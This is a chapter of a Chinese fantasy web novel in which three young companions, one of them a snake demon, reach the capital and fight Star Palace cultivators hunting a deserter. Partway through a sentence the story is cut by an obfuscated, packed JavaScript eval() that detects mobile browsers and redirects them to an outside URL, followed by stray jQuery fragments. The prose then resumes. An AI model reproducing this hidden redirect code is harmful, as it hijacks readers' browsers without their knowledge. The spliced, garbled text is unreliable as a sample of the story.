“苏苏!”
少年几乎跳起来,眨眼间已经扑到了苏潋影怀里,带着一点鼻音不满地哼道:“你为什么这么久才来找我呀?”
苏潋影好不容易才把身上缠着的八爪鱼弄下来,轻轻拍了拍对方的肩头:“上次你不是说在雾山见到我阿姐了嘛,我打算去跟她汇合,给她一个大大的惊喜!你帮我们带路吧!”
楚纤茉听着她这大胆的想法,急得唇干口燥:“苏苏,我们还是在碧梧山庄附近走走吧,那可是妖族领地啊,很危险的,你可以在家等你姐姐啊。”
苏潋影不赞同地摇摇头:“纤茉,你别打退堂鼓嘛,我们很快就要去梵净山了,到时候这种历练只会多不会少,现在不见见世面,后面的考试我们岂不是很吃亏嘛?”
楚纤茉双手绞着衣袖:“可是梵净山的考试不会有生命危险啊,我们两个人就这样去雾山,万一——”
苏潋影拍拍旁边白衣少年的肩膀:“这不还有帮手嘛,正式介绍一下,白洛溪,千年大妖,我的好朋友。”
又揽住楚纤茉的肩膀向白洛溪介绍道:“楚纤茉,我最好最好最好的朋友!”
楚纤茉被千年大妖四个字冲击得回不过神来,眼前冒金星,而白洛溪却有些脸色难看,两只手牢牢圈住苏潋影的胳膊,苏潋影年纪尚小,个头也不高,七尺男儿挂在她这么个小豆芽身上有点滑稽。
白洛溪却浑然不觉,目露哀怨地瞅着苏潋影,颇为委屈:“苏苏,为什么我不是你最好最好最好的朋友呢?你忘了吗,我们可是从小一起玩到大的……”
楚纤茉在旁边略显尴尬,问道:“你们是怎么认识的啊?”
白洛溪看着楚纤茉的眼神有些不快,也存了炫耀的心思,从头到尾把两人相遇的来龙去脉说了一遍,语气颇为洋洋得意道:“当年我还是一条小白蛇,在山下的稻田里睡觉,被一个愚蠢的农夫捡了起来,他居然拿我当绳子用来捆稻子!我被他抻得老长老长了,脖子和尾巴被系到了一起,就在我快窒息的时候,是美丽善良且慧眼识蛇的苏苏救了我!”
楚纤茉心道:这故事我好像在哪儿听过……
苏潋影不好意思地摸摸鼻子,低声道:“其实我当时也以为你是条白到发光的绳子,打算跟农夫换到手,回去绑秋千架来着……”
白洛溪蹲在地上,将脸埋在膝盖上自闭了好一会儿,苏潋影站在旁边双手叉腰,哄了老半天,恨不得收回刚才那句话:“喂?你还要我说多少遍啊?”
白洛溪声音闷闷地道:“我不叫喂,我是蛇……”
苏潋影顺着他的话:“那个蛇,你到底走不走?不然我把你丢这了,三——”
白洛溪蹭一下站了起来,力道没把握好,脑袋撞到了树杈,疼得龇牙咧嘴。
苏潋影踮起脚伸长了手臂替他取下了头发上的树叶,不由咋舌:“长这么高干嘛,吃什么长大的,是朋友给我推荐一下啊!”
白洛溪欲哭无泪,郁闷地揉着自己的脑袋,满脸的愤恨:“都怪那个愚蠢的农夫,把我抻长了……害我现在还要弓着腰跟苏苏说话,一点都不如小时候亲密无间。”
楚纤茉有些诧异地看着眼前两人:“千年大妖?你小时候怎么可能遇到苏苏?她才十四岁啊!”
白洛溪翻了个白眼,满是不屑:“怎么不能了,苏苏是在机缘巧合之下遇到我的,这就是缘分!”
他说到这里很是兴奋,转头又去瞅苏潋影,脸上满是期待:“苏苏,我听我姥姥说了,滴水之恩应当涌泉相报,当初我太姑奶奶被捕蛇的抓了,是一个小牧童救了她,后来她找到了小牧童以身相许过上了幸福美满的生活,苏苏,你希望我怎么报答你呀?”
苏潋影摸着下巴:“这个故事我听过,后来你太姑奶奶喝高了现了原形,把你太姑爷爷给吓厥过去了。”
白洛溪摆摆手:“过程都不重要,重要的是他们真心相爱啊!海枯石烂、至死不渝,苏苏想不想听后续?”
“上次的鲁智深三打白骨精你还没讲完呢,听多了我容易混淆,先把那个讲完好不好,宋江到底什么时候把诸葛亮请回来?”
楚纤茉听得发晕:“不是,你听的是哪个版本的三打白骨精?我怎么闻所未闻?”
三人行,气氛颇为古怪,苏潋影却丝毫感觉不到,仍旧兴致勃勃。
一路向东南方向行进,穿过玄都就是雾山地界,妖族的领地。
按道理说,帝京不应该建在妖魔横行之地的附近,但因为,一来此乃祖宗基业,不能轻易舍弃,二来,玄都有星辰宫坐镇,妖族倒也不敢肆意妄为,这种微妙的平衡维持了大概四五百年,表面上仍是风平浪静。
楚纤茉、苏潋影都是没有来过玄都的,白洛溪这个土生土长在雾山的妖怪自然也没有,才一进城就被一片车水马龙、富丽堂皇的景象迷花了眼。
玄都作为帝京,自然是极尽奢华,房屋鳞次栉比、雕梁画栋,街道四通八达,来来往往的行人皆是穿绸裹缎、穿金带玉,男子手拿折扇步伐稳健,女子衣袂飘飘步步生莲,红楼粉墙中时时飘出轻柔的丝竹管弦之声,一派纸醉金迷之态。
三人正各自出神,冷不防前面街道一阵喧哗,打破了本来的宁静美好,一行身着紫衣、身后负着琉璃灯的人快速掠过,沿途不停地对路人进行盘查,此时与一个白衣女子起了冲突。
“星辰宫寻人,把面纱摘下来!”
姑娘气得跺脚:“你们还讲不讲理啦!都说了我这几天花粉过敏吹不得风,万一生病了你们付医药费啊!”
为首一人打量她许久,点点头:“身高、衣着都差不多,哼,来人,帮她把面纱摘下来。”
姑娘吓得连连后退,但已经被两个修士反剪了双臂控制住了,姑娘急得大喊:“你们干什么,来人呐!救命啊!”
苏潋影已经握紧了拳头,咬牙切齿:“简直是岂有此理!”
电光火石之间,一条长鞭腾空而起,鞭尾啪一下抽在那修士伸向白衣女子的手,那人惨叫一声缩回手,目露惊慌左瞧右看,很快锁定了一个身影。
那丫头一袭碧衣,双手叉腰,手里还提着长鞭,因为愤怒瞪着一双圆溜溜的杏眼,桃花包似的脸颊微微鼓起,长得瓷娃娃一般精致漂亮,但戾气却不小,一手叉腰一手拿鞭子指着他:“看什么看,你还不服是吧,再敢仗势欺人当心你的狗头!”
楚纤茉已经吓傻了,生怕苏潋影吃亏,急忙扯着她的衣袖,低声道:“差不多可以了吧,这可是京都,我们人生地不熟的难免吃亏……”
但白洛溪却在旁边煽风点火,抱臂冷哼道:“苏苏别怕,天塌了我给你兜着。”
星辰宫修士在玄都一向万人景仰,何曾受过如此羞辱,当即已经有几名弟子祭出了各自法器,为首青年修士面露凶光,缓缓取下背后魂灯:“哪里来的死丫头,敢管星辰宫的事,今天就让本仙师教教你规矩!”
眨眼间,原本暗淡无光的琉璃魂灯爆发出一片眩目的紫色光芒,似乎跟他左肩绵延至左胸口的银色星纹相互呼应着,点点星光连接起来是西方白虎七宿,只消看一眼便让人心神激荡,倾刻之间,街上原本熙熙攘攘的行人消失地无影无踪,太阳也隐藏在了乌云后面,街道上黑压压多了一群双目无神的怪人,与其说是人,不如说是怨灵,它们个个垂着眼,惨白的脸颊埋在藏污纳垢的乱发里,随着那修士一挥手中魂灯,怨灵们个个为之一振,眼睛里冒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489958|185807||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出诡异的红光,齐刷刷一扭头看向了苏潋影,下一刻如同咆哮的野兽一般朝她飞扑过来。
白洛溪眼神一凛,广袖一挥将苏潋影护在了身后,下一刻白影一闪如同一阵风般冲了出去,所到之处怨灵的哀嚎之声不绝于耳,青年修士惊愕之间居然忘了应对之策,下一刻,一只白皙修长的手掐住了他的脖子,那看似文弱的白衣少年将他整个人提了起来,细长的手指似乎下一秒就能插入他的血肉里,少年眸中绿芒乍现,微微一笑露出了两颗过分尖细的虎牙,回头对那碧衣女郎笑眯眯道:“苏苏,这家伙你想怎么处置,直接扭断他的脖子还是……”
青年修士能屈能伸,见势不妙立刻求饶:“少侠饶命,小的有眼不识泰山冒犯了几位,还请几位大人不记小人过,小的以后一定洗心革面重新做人!”
白洛溪将他扔在地上,拍了拍手里并不存在的灰尘,慢条斯理道:“放了你可以,自废修为吧。”
青年修士见他神色认真,立刻磕头如捣蒜,连连作揖:“少侠!女侠!小人不是故意仗势欺人的,这都是我们宫主的命令啊,小人都是奉命行事!”
“你们宫主又是什么人?”苏潋影问道。
青年修士连忙道:“我们宫主是当朝尹国师!”
他本指望搬出尹星灯的名头震慑一下这帮不知天高地厚的愣头青,谁知那碧衣女郎一听柳眉倒竖,冷哼一声:“怪不得你们这么无法无天,感情你们主子也不是块好饼,上梁不正下梁歪!”
急得青年修士冷汗直流:“女侠,这其中是有缘故的,因为我们星辰宫有个女弟子叛逃,国师下令全城搜查,并非女侠想的那样。”
“是吗?”苏潋影将信将疑地收了鞭子。
青年修士连忙点头:“千真万确,女侠若不信,小人可以带路,您大可以前往星辰宫亲自调查。”
白洛溪走近,低声对苏潋影耳语:“苏苏,强龙不压地头蛇,我们初来乍到不可贸然前去,你若真想查清此事我们可以暗中进行,没必要暴露自己。”
青年修士顿了半天见这三人要走,眼珠一转连忙道:“几位少侠,可否留下姓名?”
白洛溪回头冷笑道:“区区江湖散修罢了。”
青年修士见三人远去,从地上爬起来暗暗咬牙,恨声道:“待我回去禀报国师,你们就死定了!”
他摸出了一块留影石,嘴角勾起一丝阴险的笑意:“还好随身带了这个……”
举起留影石对准了前面三人的背影,输入了一丝灵力,留影石立刻光芒大盛,将三人的容貌特征全都留存了下来,他刚想将留影石收起来,手里忽然一空,留影石居然凭空消失了,这修士顿时吓出了一头冷汗,难道这三个人背后长眼睛了不成!
他身子僵直,颤颤巍巍地回头,看见了一道熟悉的身影,简直比见了苏潋影等人还惊恐,不免在心里哀嚎,今天出门明明看黄历了啊!
眼前是一袭鲛纱道袍的宫玄烛,拿着那颗留影石在手上把玩,抛到半空又稳稳接住,手心仿佛长了眼睛似的。
众修士连忙见礼,他们都是外门弟子,连称尹星灯一声师父的资格都没有,如何得罪得起这个内门师姐兼司天监少祭司,立刻齐齐恭声问好。
宫玄烛摆摆手,刚想让他们不必多礼,手里的留影石啪嗒一下掉在了地上,摔了个四分五裂。
“哎呀,不好意思啊手滑了,你这个留影石质量怎么这么差啊师弟,买到假冒伪劣产品了吧?来来来,师姐这儿有价值九品灵石的,拿着拿着别客气!”
青年修士欲哭无泪,你这才是假冒伪劣产品吧,再说了我拿个空白的留影石有个屁用!
一行人乌泱泱散去。